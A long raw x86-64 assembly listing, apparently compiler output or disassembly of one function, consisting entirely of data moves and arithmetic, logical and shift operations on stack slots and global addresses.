mov qword [rsp + 0x5db8], rax
mov rax, qword [rsp + 0x4d70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5880]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5700]
mov word [rcx], ax
lea rax, [rsp + 0x53]
mov qword [rsp + 0x5dc0], rax
mov rax, qword [rsp + 0x5a48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b94]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5790]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b28]
mov ecx, dword [rsp + 0x2b68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x59a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x58d8]
mov qword [rsp + 0x5dc8], rax
mov rax, qword [rsp + 0x5c60]
mov rcx, qword [0x14017a058]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x52f8], rax
movzx eax, byte [rsp + 0x62]
mov byte [rsp + 0xce], al
lea rax, [rsp + 0x8dc]
mov qword [0x14017a2a8], rax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5a00]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5b40]
mov byte [rcx], al
mov rax, qword [rsp + 0x59c8]
movzx eax, word [rax]
mov word [rsp + 0xa68], ax
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9f0]
and eax, ecx
mov word [rsp + 0x8f0], ax
mov rax, qword [rsp + 0x5388]
mov ecx, dword [rsp + 0x2b00]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5a48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5668]
mov rax, qword [rax]
mov qword [rsp + 0x5dd0], rax
mov rax, qword [rsp + 0x57d8]
mov rcx, qword [rsp + 0x5410]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x51d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5cb8]
mov eax, dword [rax]
mov dword [rsp + 0x2bd8], eax
mov rax, qword [0x14017a138]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5a78]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x94], al
mov rax, qword [rsp + 0x4fb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5ab8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14017a248]
mov word [rcx], ax
movsx eax, word [rsp + 0x868]
mov rcx, qword [0x14017a080]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4e08]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa3]
mov byte [rsp + 0xcf], al
movzx eax, byte [rsp + 0x67]
movzx ecx, byte [rsp + 0xcb]
or eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x5c48]
mov qword [rsp + 0x5dd8], rax
mov rax, qword [rsp + 0x5b38]
movzx ecx, al
mov rax, qword [0x140178e78]
shr rax, cl
mov rcx, qword [rsp + 0x5258]
mov qword [rcx], rax
mov rax, qword [rsp + 0x51f8]
mov rcx, qword [rsp + 0x5238]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b9c], eax
lea rax, [rsp + 0x2aa8]
mov qword [rsp + 0x5de0], rax
movzx eax, byte [rsp + 0xa2]
movzx ecx, byte [rsp + 0x8e]
add eax, ecx
mov rcx, qword [rsp + 0x5be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x57e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x59b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178eb8], ax
movzx eax, byte [0x140178e6b]
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x5ac0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x56e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x918], ax
movzx eax, word [rsp + 0x918]
mov word [rsp + 0xa6c], ax
mov rax, qword [rsp + 0x5108]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9c]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x50c0]
mov rcx, qword [rsp + 0x5988]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a44], eax
mov rax, qword [rsp + 0x5b98]
mov eax, dword [rax]
mov dword [rsp + 0x2bdc], eax
mov rax, qword [rsp + 0x56b0]
mov rcx, qword [rsp + 0x5890]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5dd0], rax
mov rax, qword [rsp + 0x5008]
mov rax, qword [rax]
mov qword [rsp + 0x5de8], rax
lea rax, [rsp + 0x9f0]
mov qword [0x14017a2b0], rax
mov rax, qword [rsp + 0x4f68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa5]
and eax, ecx
mov rcx, qword [rsp + 0x5928]
mov byte [rcx], al
movzx eax, word [rsp + 0x8a8]
movzx ecx, word [rsp + 0x8b8]
add eax, ecx
mov word [rsp + 0x9b4], ax
mov rax, qword [rsp + 0x58b8]
movzx eax, byte [rax]
mov byte [rsp + 0xd1], al
mov rax, qword [rsp + 0x51a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4fe0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5ab8]
mov word [rcx], ax
lea rax, [rsp + 0x2b18]
mov qword [rsp + 0x5df0], rax
mov rax, qword [rsp + 0x56a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5788]
sar rax, cl
mov rcx, qword [rsp + 0x54a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x59a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5258]
mov qword [rsp + 0x5df8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5df8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b50]
mov dword [rsp + 0x2be0], eax
movsx eax, word [rsp + 0x920]
mov rcx, qword [rsp + 0x5a08]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140178e90], ax
movsx eax, byte [rsp + 0xca]
movsx ecx, byte [0x140178e6a]
sub eax, ecx
mov byte [rsp + 0x9b], al
lea rax, [rsp + 0x994]
mov qword [rsp + 0x5e00], rax
movsx eax, byte [rsp + 0xbf]
mov rcx, qword [rsp + 0x5820]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x53a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5c68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5508]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5048]
mov word [rcx], ax
mov eax, dword [rsp + 0x28ac]
mov dword [rsp + 0x2be4], eax
mov rax, qword [rsp + 0x59e0]
mov rcx, qword [rsp + 0x51e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5b48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5930]
mov rax, qword [rax]
mov qword [rsp + 0x5e08], rax
mov rax, qword [rsp + 0x5220]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ad8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a58], eax
mov rax, qword [rsp + 0x5058]
movzx eax, byte [rax]
mov byte [0x14017a0cd], al
mov rax, qword [rsp + 0x5ae0]
movzx eax, byte [rax]
mov byte [rsp + 0xd2], al
movsx eax, byte [0x14017a0cb]
movsx ecx, byte [rsp + 0xce]
sub eax, ecx
mov rcx, qword [rsp + 0x53a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5630]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x87c]
add eax, ecx
mov word [rsp + 0x9e0], ax
lea rax, [rsp + 0x8c4]
mov qword [rsp + 0x5e10], rax
mov rax, qword [rsp + 0x53a0]
mov rcx, qword [rsp + 0x4f08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5de0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2a60]
mov dword [rsp + 0x2be8], eax
mov rax, qword [rsp + 0x5aa0]
mov rcx, qword [rsp + 0x5448]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5588], rax
mov rax, qword [rsp + 0x55a8]
mov rcx, qword [rsp + 0x5dd8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x56a0], rax
mov rax, qword [rsp + 0x4ff0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5030]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x140178ea6], al
lea rax, [rsp + 0x98c]
mov qword [rsp + 0x5e18], rax
mov rax, qword [rsp + 0x4ec0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5598]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x5f], al
movzx eax, word [rsp + 0xa64]
mov word [rsp + 0xa70], ax
mov rax, qword [rsp + 0x5910]
movsx eax, word [rax]
mov rcx, qword [0x14017a1c8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x938], ax
mov eax, dword [rsp + 0x2b24]
movzx ecx, al
mov eax, dword [rsp + 0x29dc]
sar eax, cl
mov dword [rsp + 0x2b34], eax
mov rax, qword [rsp + 0x58b0]
mov qword [rsp + 0x5e20], rax
mov rax, qword [rsp + 0x54a0]
mov rcx, qword [rsp + 0x55b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5b78]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2be0]
mov dword [rsp + 0x2bec], eax
mov rax, qword [rsp + 0x5bc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5620]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178e75], al
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x5898]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc3], al
lea rax, [rsp + 0x898]
mov qword [rsp + 0x5e28], rax
movsx eax, word [rsp + 0xa1c]
movsx ecx, word [rsp + 0x8fc]
add eax, ecx
mov word [rsp + 0x96c], ax
movzx eax, byte [0x140178e5e]
movzx ecx, byte [rsp + 0x8e]
add eax, ecx
mov byte [rsp + 0x96], al
mov eax, dword [rsp + 0x2b10]
mov dword [rsp + 0x2bf0], eax
mov rax, qword [rsp + 0x55d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b70], eax
mov rax, qword [rsp + 0x56f0]
mov qword [rsp + 0x5e30], rax
mov rax, qword [rsp + 0x51d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5940], rax
movsx eax, byte [rsp + 0xb3]
mov rcx, qword [rsp + 0x5830]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178ea7], al
mov rax, qword [rsp + 0x5c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5e10]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5c20]
mov word [rcx], ax
lea rax, [rsp + 0xc5]
mov qword [rsp + 0x5e38], rax
mov rax, qword [rsp + 0x5b28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5670]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5cb0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x53]
mov byte [rsp + 0xd3], al
mov eax, dword [rsp + 0x2bc0]
mov ecx, dword [rsp + 0x2bb4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5be8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5738]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2b5c]
shl eax, cl
mov dword [rsp + 0x2b84], eax
mov rax, qword [rsp + 0x55b0]
mov qword [rsp + 0x5e40], rax
mov rax, qword [rsp + 0x5718]
mov rcx, qword [rsp + 0x5da0]
mov qword [rsp + 0x5e48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5e48]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x57c8], rax
mov rax, qword [rsp + 0x5868]
movsx eax, word [rax]
mov rcx, qword [0x14017a068]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140178ed4], ax
lea rax, [rsp + 0x7f]
mov qword [rsp + 0x5e50], rax
movzx eax, word [rsp + 0x9fc]
mov rcx, qword [rsp + 0x4f98]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x8ec], ax
movsx eax, byte [rsp + 0xcf]
movsx ecx, byte [rsp + 0xa1]
and eax, ecx
mov rcx, qword [rsp + 0x4ff0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5400]
movzx eax, word [rax]
mov word [rsp + 0xa74], ax
mov rax, qword [rsp + 0x5b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x51b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x58f0]
mov eax, dword [rax]
mov dword [rsp + 0x2bf4], eax
mov rax, qword [rsp + 0x50d0]
mov rcx, qword [rsp + 0x50f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b58], eax
mov rax, qword [rsp + 0x5788]
mov qword [rsp + 0x5e58], rax
mov rax, qword [rsp + 0x5120]
movsx eax, byte [rax]
mov rcx, qword [0x14017a220]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x9b], al
lea rax, [rsp + 0x85c]
mov qword [0x14017a2b8], rax
movsx eax, word [rsp + 0x9ac]
movsx ecx, word [rsp + 0x8fc]
add eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
lea rax, [rsp + 0x7f]
mov qword [rsp + 0x5e60], rax
movzx eax, word [rsp + 0x910]
mov rcx, qword [rsp + 0x5918]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa44], ax
mov eax, dword [rsp + 0x28f4]
mov dword [rsp + 0x2bf8], eax
mov rax, qword [rsp + 0x5aa8]
mov rcx, qword [rsp + 0x5878]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4f78], rax
mov rax, qword [rsp + 0x50f8]
mov rcx, qword [rsp + 0x5de0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5240]
mov dword [rcx], eax
lea rax, [rsp + 0x5628]
mov qword [rsp + 0x5e68], rax
mov rax, qword [rsp + 0x5108]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5688]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb1], al
movsx eax, byte [rsp + 0x5a]
mov rcx, qword [rsp + 0x5568]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x140178e5d], al
movzx eax, word [rsp + 0x9c0]
mov word [rsp + 0xa78], ax
movsx eax, byte [rsp + 0x69]
mov rcx, qword [0x14017a240]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5e38]
mov byte [rcx], al
movsx eax, word [rsp + 0xa38]
mov rcx, qword [rsp + 0x5d50]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x9a8], ax
mov rax, qword [rsp + 0x5be8]
mov eax, dword [rax]
mov dword [rsp + 0x2bfc], eax
mov eax, dword [0x14017a064]
mov rcx, qword [rsp + 0x4e98]
mov qword [rsp + 0x5e70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5e70]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x50e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5c48]
mov qword [rsp + 0x5e78], rax
mov rax, qword [rsp + 0x5078]
mov rcx, qword [rsp + 0x5720]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5008]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5520]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x95]
add eax, ecx
mov rcx, qword [rsp + 0x5e60]
mov byte [rcx], al
lea rax, [rsp + 0x994]
mov qword [0x14017a2c0], rax
mov rax, qword [rsp + 0x5b40]
movzx eax, byte [rax]
mov byte [rsp + 0xd4], al
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xc6]
sub eax, ecx
mov rcx, qword [rsp + 0x5a80]
mov byte [rcx], al
lea rax, [rsp + 0x8f4]
mov qword [rsp + 0x5e80], rax
mov rax, qword [rsp + 0x5978]
mov rcx, qword [rsp + 0x5d08]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4e50], rax
mov rax, qword [rsp + 0x5180]
mov qword [rsp + 0x5e88], rax
mov eax, dword [rsp + 0x2a84]
mov ecx, dword [rsp + 0x2b20]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5328]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5580]
mov ecx, dword [rsp + 0x2b64]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2ae0], eax
mov rax, qword [rsp + 0x5a00]
movzx eax, byte [rax]
mov byte [rsp + 0xd5], al
movsx eax, word [rsp + 0xa58]
movsx ecx, word [rsp + 0x96c]
add eax, ecx
mov rcx, qword [0x14017a098]
mov word [rcx], ax
mov rax, qword [rsp + 0x5910]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5958]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9f8], ax
movzx eax, word [rsp + 0xa14]
mov word [rsp + 0xa7c], ax
mov rax, qword [rsp + 0x55a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xad]
sub eax, ecx
mov byte [rsp + 0x52], al
movzx eax, word [rsp + 0xa7c]
mov rcx, qword [rsp + 0x5ba0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5700]
mov word [rcx], ax
mov rax, qword [rsp + 0x5c10]
mov eax, dword [rax]
mov dword [rsp + 0x2c00], eax
mov eax, dword [rsp + 0x2be8]
mov ecx, dword [rsp + 0x2a88]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5ca8]
mov dword [rcx], eax
lea rax, [rsp + 0x5dc8]
mov qword [rsp + 0x5e90], rax
mov rax, qword [rsp + 0x4f90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5e08]
sar rax, cl
mov rcx, qword [rsp + 0x5518]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5760]
movzx eax, word [rax]
mov word [0x14017a2c8], ax
mov rax, qword [rsp + 0x5040]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e78]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x95], al
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0xd6], al
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5688]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4ff8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
mov word [rsp + 0xa80], ax
mov rax, qword [rsp + 0x5710]
mov ecx, dword [rsp + 0x2b08]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b44], eax
lea rax, [rsp + 0x2be8]
mov qword [rsp + 0x5e98], rax
mov rax, qword [rsp + 0x50c8]
mov rcx, qword [rsp + 0x52a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x55f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x55b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5510]
mov qword [rcx], rax
mov rax, qword [0x14017a128]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
add eax, ecx
mov byte [0x14017a050], al
lea rax, [rsp + 0xa4]
mov qword [rsp + 0x5ea0], rax
movzx eax, word [rsp + 0x8b8]
movzx ecx, word [rsp + 0x8bc]
sub eax, ecx
mov rcx, qword [rsp + 0x5ac0]
mov word [rcx], ax
mov rax, qword [0x14017a1b8]
movzx eax, byte [rax]
mov byte [rsp + 0xd7], al
mov rax, qword [rsp + 0x5db8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa34]
add eax, ecx
mov word [rsp + 0xa1c], ax
mov rax, qword [rsp + 0x52e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d68], rax
mov rax, qword [rsp + 0x53a0]
mov eax, dword [rax]
mov dword [rsp + 0x2c04], eax
mov eax, dword [rsp + 0x2b80]
mov ecx, dword [rsp + 0x2a98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5748]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e40]
mov qword [rsp + 0x5ea8], rax
lea rax, [rsp + 0xb4]
mov qword [0x14017a2d0], rax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4cd8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8e0], ax
movsx eax, word [rsp + 0x8f8]
movsx ecx, word [rsp + 0x8c8]
add eax, ecx
mov word [rsp + 0xa38], ax
movzx eax, word [rsp + 0x988]
mov word [rsp + 0xa84], ax
mov rax, qword [rsp + 0x5830]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5a80]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x80], al
lea rax, [rsp + 0x2b78]
mov qword [rsp + 0x5eb0], rax
mov rax, qword [rsp + 0x5b78]
mov rcx, qword [0x140178e60]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4ec8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5518]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5668]
mov qword [rsp + 0x5eb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5eb8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5bd0], rax
mov eax, dword [rsp + 0x29dc]
mov dword [rsp + 0x2c08], eax
movsx eax, byte [rsp + 0x66]
mov rcx, qword [rsp + 0x5390]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x140178e6b], al
mov rax, qword [rsp + 0x54c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa5c]
and eax, ecx
mov rcx, qword [rsp + 0x5298]
mov word [rcx], ax
movzx eax, word [rsp + 0x940]
mov word [rsp + 0xa88], ax
mov rax, qword [0x14017a1c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5ae0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xaa], al
lea rax, [rsp + 0x9a4]
mov qword [rsp + 0x5ec0], rax
mov rax, qword [rsp + 0x5aa8]
mov rcx, qword [rsp + 0x5940]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5b88], rax
mov rax, qword [rsp + 0x5a70]
mov rcx, qword [rsp + 0x5de8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5560], rax
mov rax, qword [rsp + 0x5618]
mov eax, dword [rax]
mov dword [rsp + 0x2c0c], eax
mov rax, qword [rsp + 0x5bd8]
mov rcx, qword [rsp + 0x5330]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a60], eax
lea rax, [0x14017a0cc]
mov qword [0x14017a2d8], rax
movzx eax, byte [rsp + 0x75]
mov byte [rsp + 0xd8], al
movsx eax, word [rsp + 0x8ac]
movsx ecx, word [rsp + 0xa88]
sub eax, ecx
mov rcx, qword [rsp + 0x5208]
mov word [rcx], ax
mov rax, qword [0x14017a2a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5538]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x930], ax
movzx eax, word [rsp + 0x8a4]
mov word [rsp + 0xa8c], ax
mov rax, qword [rsp + 0x5410]
mov rcx, qword [rsp + 0x53c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x57d8]
mov qword [rcx], rax
mov eax, dword [0x14017a060]
mov dword [rsp + 0x2c10], eax
mov rax, qword [rsp + 0x5738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a7c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5cd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5518]
mov rcx, qword [rsp + 0x54c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x52e8]
mov qword [rcx], rax
mov rax, qword [0x14017a240]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x54e0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x140178e75], al
movzx eax, word [rsp + 0x904]
mov word [rsp + 0xa90], ax
movsx eax, word [rsp + 0xa10]
mov rcx, qword [rsp + 0x5e80]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5508]
mov word [rcx], ax
movzx eax, byte [rsp + 0x66]
mov byte [rsp + 0xd9], al
mov rax, qword [rsp + 0x5098]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d]
or eax, ecx
mov byte [rsp + 0x7f], al
mov rax, qword [rsp + 0x5220]
mov eax, dword [rax]
mov dword [rsp + 0x2c14], eax
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x5cf8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5550], rax
mov rax, qword [rsp + 0x51f8]
mov ecx, dword [rsp + 0x28cc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a90], eax
mov rax, qword [rsp + 0x5230]
mov qword [rsp + 0x5ec8], rax
mov rax, qword [0x14017a098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5508]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178ef0], ax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x88]
add eax, ecx
mov rcx, qword [rsp + 0x5108]
mov byte [rcx], al
lea rax, [rsp + 0xb2]
mov qword [rsp + 0x5ed0], rax
movzx eax, byte [rsp + 0xae]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ff8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x51a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa3c], ax
mov eax, dword [rsp + 0x2a50]
mov dword [rsp + 0x2c18], eax
mov rax, qword [rsp + 0x55c0]
mov rax, qword [rax]
mov rcx, qword [0x14017a058]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5da8], rax
mov rax, qword [rsp + 0x53f0]
mov rax, qword [rax]
mov qword [rsp + 0x5ed8], rax
mov rax, qword [rsp + 0x50d0]
mov rcx, qword [rsp + 0x5220]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5790]
mov dword [rcx], eax
movsx eax, word [0x140178ef0]
mov rcx, qword [rsp + 0x5578]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5190]
mov word [rcx], ax
mov rax, qword [rsp + 0x5248]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x57a8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017a1b0]
mov byte [rcx], al
movzx eax, byte [0x140178e5c]
mov byte [rsp + 0xda], al
movzx eax, word [rsp + 0x97c]
movzx ecx, word [rsp + 0x86c]
or eax, ecx
mov rcx, qword [rsp + 0x5ac8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7f]
mov byte [rsp + 0xdb], al
mov eax, dword [0x140178e8c]
movzx ecx, al
mov eax, dword [rsp + 0x2bc4]
shr eax, cl
mov dword [rsp + 0x2b84], eax
mov rax, qword [rsp + 0x5518]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4f88]
shl rax, cl
mov qword [rsp + 0x5178], rax
lea rax, [rsp + 0x5720]
mov qword [rsp + 0x5ee0], rax
mov rax, qword [rsp + 0x5020]
mov ecx, dword [0x14017a060]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2a50], eax
mov rax, qword [rsp + 0x59b0]
movzx eax, word [rax]
mov word [rsp + 0xa94], ax
lea rax, [rsp + 0x9b4]
mov qword [0x14017a2e0], rax
mov rax, qword [rsp + 0x5a18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x84], al
mov rax, qword [rsp + 0x5e38]
movzx eax, byte [rax]
mov byte [rsp + 0xdc], al
mov rax, qword [rsp + 0x5a78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x58]
sub eax, ecx
mov byte [rsp + 0x9e], al
mov rax, qword [rsp + 0x5170]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b58]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ab0], eax
mov eax, dword [rsp + 0x2be8]
mov dword [rsp + 0x2c1c], eax
mov rax, qword [rsp + 0x5c90]
mov rcx, qword [rsp + 0x4b88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5138], rax
